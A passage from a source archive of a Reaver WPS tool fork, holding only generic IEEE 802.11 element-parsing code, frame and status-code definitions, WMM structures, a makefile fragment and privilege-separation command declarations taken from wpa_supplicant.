(!show_errors) break; wpa_printf(MSG_MSGDUMP, "IEEE 802.11 element parse " "ignored unknown element (id=%d elen=%d)", id, elen); break; } left -= elen; pos += elen; } if (left) return ParseFailed; return unknown ? ParseUnknown : ParseOK; } int ieee802_11_ie_count(const u8 *ies, size_t ies_len) { int count = 0; const u8 *pos, *end; if (ies == NULL) return 0; pos = ies; end = ies + ies_len; while (pos + 2 <= end) { if (pos + 2 + pos[1] > end) break; count++; pos += 2 + pos[1]; } return count; } struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, u32 oui_type) { struct wpabuf *buf; const u8 *end, *pos, *ie; pos = ies; end = ies + ies_len; ie = NULL; while (pos + 1 < end) { if (pos + 2 + pos[1] > end) return NULL; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && WPA_GET_BE32(&pos[2]) == oui_type) { ie = pos; break; } pos += 2 + pos[1]; } if (ie == NULL) return NULL; /* No specified vendor IE found */ buf = wpabuf_alloc(ies_len); if (buf == NULL) return NULL; /* * There may be multiple vendor IEs in the message, so need to * concatenate their data fields. */ while (pos + 1 < end) { if (pos + 2 + pos[1] > end) break; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && WPA_GET_BE32(&pos[2]) == oui_type) wpabuf_put_data(buf, pos + 6, pos[1] - 4); pos += 2 + pos[1]; } return buf; } reaver-wps-fork-t6x-1.6.6/src/common/ieee802_11_common.h000077500000000000000000000036171363372615500225640ustar00rootroot00000000000000/* * IEEE 802.11 Common routines * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IEEE802_11_COMMON_H #define IEEE802_11_COMMON_H /* Parsed Information Elements */ struct ieee802_11_elems { const u8 *ssid; const u8 *supp_rates; const u8 *fh_params; const u8 *ds_params; const u8 *cf_params; const u8 *tim; const u8 *ibss_params; const u8 *challenge; const u8 *erp_info; const u8 *ext_supp_rates; const u8 *wpa_ie; const u8 *rsn_ie; const u8 *wmm; /* WMM Information or Parameter Element */ const u8 *wmm_tspec; const u8 *wps_ie; const u8 *power_cap; const u8 *supp_channels; const u8 *mdie; const u8 *ftie; const u8 *timeout_int; const u8 *ht_capabilities; const u8 *ht_operation; const u8 *vendor_ht_cap; u8 ssid_len; u8 supp_rates_len; u8 fh_params_len; u8 ds_params_len; u8 cf_params_len; u8 tim_len; u8 ibss_params_len; u8 challenge_len; u8 erp_info_len; u8 ext_supp_rates_len; u8 wpa_ie_len; u8 rsn_ie_len; u8 wmm_len; /* 7 = WMM Information; 24 = WMM Parameter */ u8 wmm_tspec_len; u8 wps_ie_len; u8 power_cap_len; u8 supp_channels_len; u8 mdie_len; u8 ftie_len; u8 timeout_int_len; u8 ht_capabilities_len; u8 ht_operation_len; u8 vendor_ht_cap_len; }; typedef enum { ParseOK = 0, ParseUnknown = 1, ParseFailed = -1 } ParseRes; ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, struct ieee802_11_elems *elems, int show_errors); int ieee802_11_ie_count(const u8 *ies, size_t ies_len); struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, u32 oui_type); #endif /* IEEE802_11_COMMON_H */ reaver-wps-fork-t6x-1.6.6/src/common/ieee802_11_defs.h000077500000000000000000000450551363372615500222170ustar00rootroot00000000000000/* * IEEE 802.11 Frame type definitions * Copyright (c) 2002-2009, Jouni Malinen * Copyright (c) 2007-2008 Intel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IEEE802_11_DEFS_H #define IEEE802_11_DEFS_H /* IEEE 802.11 defines */ #define WLAN_FC_PVER 0x0003 #define WLAN_FC_TODS 0x0100 #define WLAN_FC_FROMDS 0x0200 #define WLAN_FC_MOREFRAG 0x0400 #define WLAN_FC_RETRY 0x0800 #define WLAN_FC_PWRMGT 0x1000 #define WLAN_FC_MOREDATA 0x2000 #define WLAN_FC_ISWEP 0x4000 #define WLAN_FC_ORDER 0x8000 #define WLAN_FC_GET_TYPE(fc) (((fc) & 0x000c) >> 2) #define WLAN_FC_GET_STYPE(fc) (((fc) & 0x00f0) >> 4) #define WLAN_GET_SEQ_FRAG(seq) ((seq) & (BIT(3) | BIT(2) | BIT(1) | BIT(0))) #define WLAN_GET_SEQ_SEQ(seq) \ (((seq) & (~(BIT(3) | BIT(2) | BIT(1) | BIT(0)))) >> 4) #define WLAN_FC_TYPE_MGMT 0 #define WLAN_FC_TYPE_CTRL 1 #define WLAN_FC_TYPE_DATA 2 /* management */ #define WLAN_FC_STYPE_ASSOC_REQ 0 #define WLAN_FC_STYPE_ASSOC_RESP 1 #define WLAN_FC_STYPE_REASSOC_REQ 2 #define WLAN_FC_STYPE_REASSOC_RESP 3 #define WLAN_FC_STYPE_PROBE_REQ 4 #define WLAN_FC_STYPE_PROBE_RESP 5 #define WLAN_FC_STYPE_BEACON 8 #define WLAN_FC_STYPE_ATIM 9 #define WLAN_FC_STYPE_DISASSOC 10 #define WLAN_FC_STYPE_AUTH 11 #define WLAN_FC_STYPE_DEAUTH 12 #define WLAN_FC_STYPE_ACTION 13 /* control */ #define WLAN_FC_STYPE_PSPOLL 10 #define WLAN_FC_STYPE_RTS 11 #define WLAN_FC_STYPE_CTS 12 #define WLAN_FC_STYPE_ACK 13 #define WLAN_FC_STYPE_CFEND 14 #define WLAN_FC_STYPE_CFENDACK 15 /* data */ #define WLAN_FC_STYPE_DATA 0 #define WLAN_FC_STYPE_DATA_CFACK 1 #define WLAN_FC_STYPE_DATA_CFPOLL 2 #define WLAN_FC_STYPE_DATA_CFACKPOLL 3 #define WLAN_FC_STYPE_NULLFUNC 4 #define WLAN_FC_STYPE_CFACK 5 #define WLAN_FC_STYPE_CFPOLL 6 #define WLAN_FC_STYPE_CFACKPOLL 7 #define WLAN_FC_STYPE_QOS_DATA 8 /* Authentication algorithms */ #define WLAN_AUTH_OPEN 0 #define WLAN_AUTH_SHARED_KEY 1 #define WLAN_AUTH_FT 2 #define WLAN_AUTH_LEAP 128 #define WLAN_AUTH_CHALLENGE_LEN 128 #define WLAN_CAPABILITY_ESS BIT(0) #define WLAN_CAPABILITY_IBSS BIT(1) #define WLAN_CAPABILITY_CF_POLLABLE BIT(2) #define WLAN_CAPABILITY_CF_POLL_REQUEST BIT(3) #define WLAN_CAPABILITY_PRIVACY BIT(4) #define WLAN_CAPABILITY_SHORT_PREAMBLE BIT(5) #define WLAN_CAPABILITY_PBCC BIT(6) #define WLAN_CAPABILITY_CHANNEL_AGILITY BIT(7) #define WLAN_CAPABILITY_SPECTRUM_MGMT BIT(8) #define WLAN_CAPABILITY_SHORT_SLOT_TIME BIT(10) #define WLAN_CAPABILITY_DSSS_OFDM BIT(13) /* Status codes (IEEE 802.11-2007, 7.3.1.9, Table 7-23) */ #define WLAN_STATUS_SUCCESS 0 #define WLAN_STATUS_UNSPECIFIED_FAILURE 1 #define WLAN_STATUS_CAPS_UNSUPPORTED 10 #define WLAN_STATUS_REASSOC_NO_ASSOC 11 #define WLAN_STATUS_ASSOC_DENIED_UNSPEC 12 #define WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG 13 #define WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION 14 #define WLAN_STATUS_CHALLENGE_FAIL 15 #define WLAN_STATUS_AUTH_TIMEOUT 16 #define WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA 17 #define WLAN_STATUS_ASSOC_DENIED_RATES 18 /* IEEE 802.11b */ #define WLAN_STATUS_ASSOC_DENIED_NOSHORT 19 #define WLAN_STATUS_ASSOC_DENIED_NOPBCC 20 #define WLAN_STATUS_ASSOC_DENIED_NOAGILITY 21 /* IEEE 802.11h */ #define WLAN_STATUS_SPEC_MGMT_REQUIRED 22 #define WLAN_STATUS_PWR_CAPABILITY_NOT_VALID 23 #define WLAN_STATUS_SUPPORTED_CHANNEL_NOT_VALID 24 /* IEEE 802.11g */ #define WLAN_STATUS_ASSOC_DENIED_NO_SHORT_SLOT_TIME 25 #define WLAN_STATUS_ASSOC_DENIED_NO_ER_PBCC 26 #define WLAN_STATUS_ASSOC_DENIED_NO_DSSS_OFDM 27 #define WLAN_STATUS_R0KH_UNREACHABLE 28 /* IEEE 802.11w */ #define WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY 30 #define WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION 31 #define WLAN_STATUS_UNSPECIFIED_QOS_FAILURE 32 #define WLAN_STATUS_REQUEST_DECLINED 37 #define WLAN_STATUS_INVALID_PARAMETERS 38 /* IEEE 802.11i */ #define WLAN_STATUS_INVALID_IE 40 #define WLAN_STATUS_GROUP_CIPHER_NOT_VALID 41 #define WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID 42 #define WLAN_STATUS_AKMP_NOT_VALID 43 #define WLAN_STATUS_UNSUPPORTED_RSN_IE_VERSION 44 #define WLAN_STATUS_INVALID_RSN_IE_CAPAB 45 #define WLAN_STATUS_CIPHER_REJECTED_PER_POLICY 46 #define WLAN_STATUS_TS_NOT_CREATED 47 #define WLAN_STATUS_DIRECT_LINK_NOT_ALLOWED 48 #define WLAN_STATUS_DEST_STA_NOT_PRESENT 49 #define WLAN_STATUS_DEST_STA_NOT_QOS_STA 50 #define WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE 51 /* IEEE 802.11r */ #define WLAN_STATUS_INVALID_FT_ACTION_FRAME_COUNT 52 #define WLAN_STATUS_INVALID_PMKID 53 #define WLAN_STATUS_INVALID_MDIE 54 #define WLAN_STATUS_INVALID_FTIE 55 /* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */ #define WLAN_REASON_UNSPECIFIED 1 #define WLAN_REASON_PREV_AUTH_NOT_VALID 2 #define WLAN_REASON_DEAUTH_LEAVING 3 #define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4 #define WLAN_REASON_DISASSOC_AP_BUSY 5 #define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6 #define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7 #define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8 #define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9 /* IEEE 802.11h */ #define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10 #define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11 /* IEEE 802.11i */ #define WLAN_REASON_INVALID_IE 13 #define WLAN_REASON_MICHAEL_MIC_FAILURE 14 #define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15 #define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16 #define WLAN_REASON_IE_IN_4WAY_DIFFERS 17 #define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18 #define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19 #define WLAN_REASON_AKMP_NOT_VALID 20 #define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21 #define WLAN_REASON_INVALID_RSN_IE_CAPAB 22 #define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23 #define WLAN_REASON_CIPHER_SUITE_REJECTED 24 /* Information Element IDs */ #define WLAN_EID_SSID 0 #define WLAN_EID_SUPP_RATES 1 #define WLAN_EID_FH_PARAMS 2 #define WLAN_EID_DS_PARAMS 3 #define WLAN_EID_CF_PARAMS 4 #define WLAN_EID_TIM 5 #define WLAN_EID_IBSS_PARAMS 6 #define WLAN_EID_COUNTRY 7 #define WLAN_EID_CHALLENGE 16 /* EIDs defined by IEEE 802.11h - START */ #define WLAN_EID_PWR_CONSTRAINT 32 #define WLAN_EID_PWR_CAPABILITY 33 #define WLAN_EID_TPC_REQUEST 34 #define WLAN_EID_TPC_REPORT 35 #define WLAN_EID_SUPPORTED_CHANNELS 36 #define WLAN_EID_CHANNEL_SWITCH 37 #define WLAN_EID_MEASURE_REQUEST 38 #define WLAN_EID_MEASURE_REPORT 39 #define WLAN_EID_QUITE 40 #define WLAN_EID_IBSS_DFS 41 /* EIDs defined by IEEE 802.11h - END */ #define WLAN_EID_ERP_INFO 42 #define WLAN_EID_HT_CAP 45 #define WLAN_EID_RSN 48 #define WLAN_EID_EXT_SUPP_RATES 50 #define WLAN_EID_MOBILITY_DOMAIN 54 #define WLAN_EID_FAST_BSS_TRANSITION 55 #define WLAN_EID_TIMEOUT_INTERVAL 56 #define WLAN_EID_RIC_DATA 57 #define WLAN_EID_HT_OPERATION 61 #define WLAN_EID_SECONDARY_CHANNEL_OFFSET 62 #define WLAN_EID_20_40_BSS_COEXISTENCE 72 #define WLAN_EID_20_40_BSS_INTOLERANT 73 #define WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS 74 #define WLAN_EID_MMIE 76 #define WLAN_EID_VENDOR_SPECIFIC 221 /* Action frame categories (IEEE 802.11-2007, 7.3.1.11, Table 7-24) */ #define WLAN_ACTION_SPECTRUM_MGMT 0 #define WLAN_ACTION_QOS 1 #define WLAN_ACTION_DLS 2 #define WLAN_ACTION_BLOCK_ACK 3 #define WLAN_ACTION_PUBLIC 4 #define WLAN_ACTION_RADIO_MEASUREMENT 5 #define WLAN_ACTION_FT 6 #define WLAN_ACTION_HT 7 #define WLAN_ACTION_SA_QUERY 8 #define WLAN_ACTION_WMM 17 /* WMM Specification 1.1 */ /* SA Query Action frame (IEEE 802.11w/D8.0, 7.4.9) */ #define WLAN_SA_QUERY_REQUEST 0 #define WLAN_SA_QUERY_RESPONSE 1 #define WLAN_SA_QUERY_TR_ID_LEN 2 /* Timeout Interval Type */ #define WLAN_TIMEOUT_REASSOC_DEADLINE 1 #define WLAN_TIMEOUT_KEY_LIFETIME 2 #define WLAN_TIMEOUT_ASSOC_COMEBACK 3 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ struct ieee80211_hdr { le16 frame_control; le16 duration_id; u8 addr1[6]; u8 addr2[6]; u8 addr3[6]; le16 seq_ctrl; /* followed by 'u8 addr4[6];' if ToDS and FromDS is set in data frame */ } STRUCT_PACKED; #define IEEE80211_DA_FROMDS addr1 #define IEEE80211_BSSID_FROMDS addr2 #define IEEE80211_SA_FROMDS addr3 #define IEEE80211_HDRLEN (sizeof(struct ieee80211_hdr)) #define IEEE80211_FC(type, stype) host_to_le16((type << 2) | (stype << 4)) struct ieee80211_mgmt { le16 frame_control; le16 duration; u8 da[6]; u8 sa[6]; u8 bssid[6]; le16 seq_ctrl; union { struct { le16 auth_alg; le16 auth_transaction; le16 status_code; /* possibly followed by Challenge text */ u8 variable[0]; } STRUCT_PACKED auth; struct { le16 reason_code; } STRUCT_PACKED deauth; struct { le16 capab_info; le16 listen_interval; /* followed by SSID and Supported rates */ u8 variable[0]; } STRUCT_PACKED assoc_req; struct { le16 capab_info; le16 status_code; le16 aid; /* followed by Supported rates */ u8 variable[0]; } STRUCT_PACKED assoc_resp, reassoc_resp; struct { le16 capab_info; le16 listen_interval; u8 current_ap[6]; /* followed by SSID and Supported rates */ u8 variable[0]; } STRUCT_PACKED reassoc_req; struct { le16 reason_code; } STRUCT_PACKED disassoc; struct { u8 timestamp[8]; le16 beacon_int; le16 capab_info; /* followed by some of SSID, Supported rates, * FH Params, DS Params, CF Params, IBSS Params, TIM */ u8 variable[0]; } STRUCT_PACKED beacon; struct { /* only variable items: SSID, Supported rates */ u8 variable[0]; } STRUCT_PACKED probe_req; struct { u8 timestamp[8]; le16 beacon_int; le16 capab_info; /* followed by some of SSID, Supported rates, * FH Params, DS Params, CF Params, IBSS Params */ u8 variable[0]; } STRUCT_PACKED probe_resp; struct { u8 category; union { struct { u8 action_code; u8 dialog_token; u8 status_code; u8 variable[0]; } STRUCT_PACKED wmm_action; struct{ u8 action_code; u8 element_id; u8 length; u8 switch_mode; u8 new_chan; u8 switch_count; } STRUCT_PACKED chan_switch; struct { u8 action; u8 sta_addr[ETH_ALEN]; u8 target_ap_addr[ETH_ALEN]; u8 variable[0]; /* FT Request */ } STRUCT_PACKED ft_action_req; struct { u8 action; u8 sta_addr[ETH_ALEN]; u8 target_ap_addr[ETH_ALEN]; le16 status_code; u8 variable[0]; /* FT Request */ } STRUCT_PACKED ft_action_resp; struct { u8 action; u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; } STRUCT_PACKED sa_query_req; struct { u8 action; /* */ u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; } STRUCT_PACKED sa_query_resp; } u; } STRUCT_PACKED action; } u; } STRUCT_PACKED; struct ieee80211_ht_capabilities { le16 ht_capabilities_info; u8 a_mpdu_params; u8 supported_mcs_set[16]; le16 ht_extended_capabilities; le32 tx_bf_capability_info; u8 asel_capabilities; } STRUCT_PACKED; struct ieee80211_ht_operation { u8 control_chan; u8 ht_param; le16 operation_mode; le16 stbc_param; u8 basic_set[16]; } STRUCT_PACKED; #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ #define ERP_INFO_NON_ERP_PRESENT BIT(0) #define ERP_INFO_USE_PROTECTION BIT(1) #define ERP_INFO_BARKER_PREAMBLE_MODE BIT(2) #define HT_CAP_INFO_LDPC_CODING_CAP ((u16) BIT(0)) #define HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ((u16) BIT(1)) #define HT_CAP_INFO_SMPS_MASK ((u16) (BIT(2) | BIT(3))) #define HT_CAP_INFO_SMPS_STATIC ((u16) 0) #define HT_CAP_INFO_SMPS_DYNAMIC ((u16) BIT(2)) #define HT_CAP_INFO_SMPS_DISABLED ((u16) (BIT(2) | BIT(3))) #define HT_CAP_INFO_GREEN_FIELD ((u16) BIT(4)) #define HT_CAP_INFO_SHORT_GI20MHZ ((u16) BIT(5)) #define HT_CAP_INFO_SHORT_GI40MHZ ((u16) BIT(6)) #define HT_CAP_INFO_TX_STBC ((u16) BIT(7)) #define HT_CAP_INFO_RX_STBC_MASK ((u16) (BIT(8) | BIT(9))) #define HT_CAP_INFO_RX_STBC_1 ((u16) BIT(8)) #define HT_CAP_INFO_RX_STBC_12 ((u16) BIT(9)) #define HT_CAP_INFO_RX_STBC_123 ((u16) (BIT(8) | BIT(9))) #define HT_CAP_INFO_DELAYED_BA ((u16) BIT(10)) #define HT_CAP_INFO_MAX_AMSDU_SIZE ((u16) BIT(11)) #define HT_CAP_INFO_DSSS_CCK40MHZ ((u16) BIT(12)) #define HT_CAP_INFO_PSMP_SUPP ((u16) BIT(13)) #define HT_CAP_INFO_40MHZ_INTOLERANT ((u16) BIT(14)) #define HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT ((u16) BIT(15)) #define EXT_HT_CAP_INFO_PCO ((u16) BIT(0)) #define EXT_HT_CAP_INFO_TRANS_TIME_OFFSET 1 #define EXT_HT_CAP_INFO_MCS_FEEDBACK_OFFSET 8 #define EXT_HT_CAP_INFO_HTC_SUPPORTED ((u16) BIT(10)) #define EXT_HT_CAP_INFO_RD_RESPONDER ((u16) BIT(11)) #define TX_BEAMFORM_CAP_TXBF_CAP ((u32) BIT(0)) #define TX_BEAMFORM_CAP_RX_STAGGERED_SOUNDING_CAP ((u32) BIT(1)) #define TX_BEAMFORM_CAP_TX_STAGGERED_SOUNDING_CAP ((u32) BIT(2)) #define TX_BEAMFORM_CAP_RX_ZLF_CAP ((u32) BIT(3)) #define TX_BEAMFORM_CAP_TX_ZLF_CAP ((u32) BIT(4)) #define TX_BEAMFORM_CAP_IMPLICIT_ZLF_CAP ((u32) BIT(5)) #define TX_BEAMFORM_CAP_CALIB_OFFSET 6 #define TX_BEAMFORM_CAP_EXPLICIT_CSI_TXBF_CAP ((u32) BIT(8)) #define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_CAP ((u32) BIT(9)) #define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_CAP ((u32) BIT(10)) #define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_OFFSET 11 #define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_FEEDBACK_OFFSET 13 #define TX_BEAMFORM_CAP_EXPLICIT_COMPRESSED_STEERING_MATRIX_FEEDBACK_OFFSET 15 #define TX_BEAMFORM_CAP_MINIMAL_GROUPING_OFFSET 17 #define TX_BEAMFORM_CAP_CSI_NUM_BEAMFORMER_ANT_OFFSET 19 #define TX_BEAMFORM_CAP_UNCOMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 21 #define TX_BEAMFORM_CAP_COMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 23 #define TX_BEAMFORM_CAP_SCI_MAX_OF_ROWS_BEANFORMER_SUPPORTED_OFFSET 25 #define ASEL_CAPABILITY_ASEL_CAPABLE ((u8) BIT(0)) #define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(1)) #define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(2)) #define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_CAP ((u8) BIT(3)) #define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_CAP ((u8) BIT(4)) #define ASEL_CAPABILITY_RX_AS_CAP ((u8) BIT(5)) #define ASEL_CAPABILITY_TX_SOUND_PPDUS_CAP ((u8) BIT(6)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK ((u8) BIT(0) | BIT(1)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE ((u8) BIT(0)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW ((u8) BIT(0) | BIT(1)) #define HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH ((u8) BIT(2)) #define HT_INFO_HT_PARAM_RIFS_MODE ((u8) BIT(3)) #define HT_INFO_HT_PARAM_CTRL_ACCESS_ONLY ((u8) BIT(4)) #define HT_INFO_HT_PARAM_SRV_INTERVAL_GRANULARITY ((u8) BIT(5)) #define OP_MODE_PURE 0 #define OP_MODE_MAY_BE_LEGACY_STAS 1 #define OP_MODE_20MHZ_HT_STA_ASSOCED 2 #define OP_MODE_MIXED 3 #define HT_INFO_OPERATION_MODE_OP_MODE_MASK \ ((le16) (0x0001 | 0x0002)) #define HT_INFO_OPERATION_MODE_OP_MODE_OFFSET 0 #define HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT ((u8) BIT(2)) #define HT_INFO_OPERATION_MODE_TRANSMIT_BURST_LIMIT ((u8) BIT(3)) #define HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT ((u8) BIT(4)) #define HT_INFO_STBC_PARAM_DUAL_BEACON ((u16) BIT(6)) #define HT_INFO_STBC_PARAM_DUAL_STBC_PROTECT ((u16) BIT(7)) #define HT_INFO_STBC_PARAM_SECONDARY_BCN ((u16) BIT(8)) #define HT_INFO_STBC_PARAM_LSIG_TXOP_PROTECT_ALLOWED ((u16) BIT(9)) #define HT_INFO_STBC_PARAM_PCO_ACTIVE ((u16) BIT(10)) #define HT_INFO_STBC_PARAM_PCO_PHASE ((u16) BIT(11)) #define OUI_MICROSOFT 0x0050f2 /* Microsoft (also used in Wi-Fi specs) * 00:50:F2 */ #define WPA_IE_VENDOR_TYPE 0x0050f201 #define WPS_IE_VENDOR_TYPE 0x0050f204 #define WMM_OUI_TYPE 2 #define WMM_OUI_SUBTYPE_INFORMATION_ELEMENT 0 #define WMM_OUI_SUBTYPE_PARAMETER_ELEMENT 1 #define WMM_OUI_SUBTYPE_TSPEC_ELEMENT 2 #define WMM_VERSION 1 #define WMM_ACTION_CODE_ADDTS_REQ 0 #define WMM_ACTION_CODE_ADDTS_RESP 1 #define WMM_ACTION_CODE_DELTS 2 #define WMM_ADDTS_STATUS_ADMISSION_ACCEPTED 0 #define WMM_ADDTS_STATUS_INVALID_PARAMETERS 1 /* 2 - Reserved */ #define WMM_ADDTS_STATUS_REFUSED 3 /* 4-255 - Reserved */ /* WMM TSPEC Direction Field Values */ #define WMM_TSPEC_DIRECTION_UPLINK 0 #define WMM_TSPEC_DIRECTION_DOWNLINK 1 /* 2 - Reserved */ #define WMM_TSPEC_DIRECTION_BI_DIRECTIONAL 3 /* * WMM Information Element (used in (Re)Association Request frames; may also be * used in Beacon frames) */ struct wmm_information_element { /* Element ID: 221 (0xdd); Length: 7 */ /* required fields for WMM version 1 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 0 */ u8 version; /* 1 for WMM version 1.0 */ u8 qos_info; /* AP/STA specific QoS info */ } STRUCT_PACKED; #define WMM_AC_AIFSN_MASK 0x0f #define WMM_AC_AIFNS_SHIFT 0 #define WMM_AC_ACM 0x10 #define WMM_AC_ACI_MASK 0x60 #define WMM_AC_ACI_SHIFT 5 #define WMM_AC_ECWMIN_MASK 0x0f #define WMM_AC_ECWMIN_SHIFT 0 #define WMM_AC_ECWMAX_MASK 0xf0 #define WMM_AC_ECWMAX_SHIFT 4 struct wmm_ac_parameter { u8 aci_aifsn; /* AIFSN, ACM, ACI */ u8 cw; /* ECWmin, ECWmax (CW = 2^ECW - 1) */ le16 txop_limit; } STRUCT_PACKED; /* * WMM Parameter Element (used in Beacon, Probe Response, and (Re)Association * Response frmaes) */ struct wmm_parameter_element { /* Element ID: 221 (0xdd); Length: 24 */ /* required fields for WMM version 1 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 1 */ u8 version; /* 1 for WMM version 1.0 */ u8 qos_info; /* AP/STA specif QoS info */ u8 reserved; /* 0 */ struct wmm_ac_parameter ac[4]; /* AC_BE, AC_BK, AC_VI, AC_VO */ } STRUCT_PACKED; /* WMM TSPEC Element */ struct wmm_tspec_element { u8 eid; /* 221 = 0xdd */ u8 length; /* 6 + 55 = 61 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 2 */ u8 version; /* 1 */ /* WMM TSPEC body (55 octets): */ u8 ts_info[3]; le16 nominal_msdu_size; le16 maximum_msdu_size; le32 minimum_service_interval; le32 maximum_service_interval; le32 inactivity_interval; le32 suspension_interval; le32 service_start_time; le32 minimum_data_rate; le32 mean_data_rate; le32 peak_data_rate; le32 maximum_burst_size; le32 delay_bound; le32 minimum_phy_rate; le16 surplus_bandwidth_allowance; le16 medium_time; } STRUCT_PACKED; /* Access Categories / ACI to AC coding */ enum { WMM_AC_BE = 0 /* Best Effort */, WMM_AC_BK = 1 /* Background */, WMM_AC_VI = 2 /* Video */, WMM_AC_VO = 3 /* Voice */ }; #define OUI_BROADCOM 0x00904c /* Broadcom (Epigram) */ #define VENDOR_HT_CAPAB_OUI_TYPE 0x33 /* 00-90-4c:0x33 */ /* cipher suite selectors */ #define WLAN_CIPHER_SUITE_USE_GROUP 0x000FAC00 #define WLAN_CIPHER_SUITE_WEP40 0x000FAC01 #define WLAN_CIPHER_SUITE_TKIP 0x000FAC02 /* reserved: 0x000FAC03 */ #define WLAN_CIPHER_SUITE_CCMP 0x000FAC04 #define WLAN_CIPHER_SUITE_WEP104 0x000FAC05 #define WLAN_CIPHER_SUITE_AES_CMAC 0x000FAC06 /* AKM suite selectors */ #define WLAN_AKM_SUITE_8021X 0x000FAC01 #define WLAN_AKM_SUITE_PSK 0x000FAC02 #endif /* IEEE802_11_DEFS_H */ reaver-wps-fork-t6x-1.6.6/src/common/lib.rules000077500000000000000000000003131363372615500212110ustar00rootroot00000000000000ifndef CC CC=gcc endif ifndef CFLAGS CFLAGS = -MMD -O2 -Wall -g endif CFLAGS += -I.. -I../utils Q=@ E=echo ifeq ($(V), 1) Q= E=true endif %.o: %.c $(Q)$(CC) -c -o $@ $(CFLAGS) $< @$(E) " CC " $< reaver-wps-fork-t6x-1.6.6/src/common/privsep_commands.h000077500000000000000000000031031363372615500231110ustar00rootroot00000000000000/* * WPA Supplicant - privilege separation commands * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PRIVSEP_COMMANDS_H #define PRIVSEP_COMMANDS_H enum privsep_cmd { PRIVSEP_CMD_REGISTER, PRIVSEP_CMD_UNREGISTER, PRIVSEP_CMD_SCAN, PRIVSEP_CMD_GET_SCAN_RESULTS, PRIVSEP_CMD_ASSOCIATE, PRIVSEP_CMD_GET_BSSID, PRIVSEP_CMD_GET_SSID, PRIVSEP_CMD_SET_KEY, PRIVSEP_CMD_GET_CAPA, PRIVSEP_CMD_L2_REGISTER, PRIVSEP_CMD_L2_UNREGISTER, PRIVSEP_CMD_L2_NOTIFY_AUTH_START, PRIVSEP_CMD_L2_SEND, PRIVSEP_CMD_SET_COUNTRY, }; struct privsep_cmd_associate { u8 bssid[ETH_ALEN]; u8 ssid[32]; size_t ssid_len; int freq; int pairwise_suite; int group_suite; int key_mgmt_suite; int auth_alg; int mode; size_t wpa_ie_len; /* followed by wpa_ie_len bytes of wpa_ie */ }; struct privsep_cmd_set_key { int alg; u8 addr[ETH_ALEN]; int key_idx; int set_tx; u8 seq[8]; size_t seq_len; u8 key[32]; size_t key_len; }; enum privsep_event { PRIVSEP_EVENT_SCAN_RESULTS, PRIVSEP_EVENT_ASSOC, PRIVSEP_EVENT_DISASSOC, PRIVSEP_EVENT_ASSOCINFO, 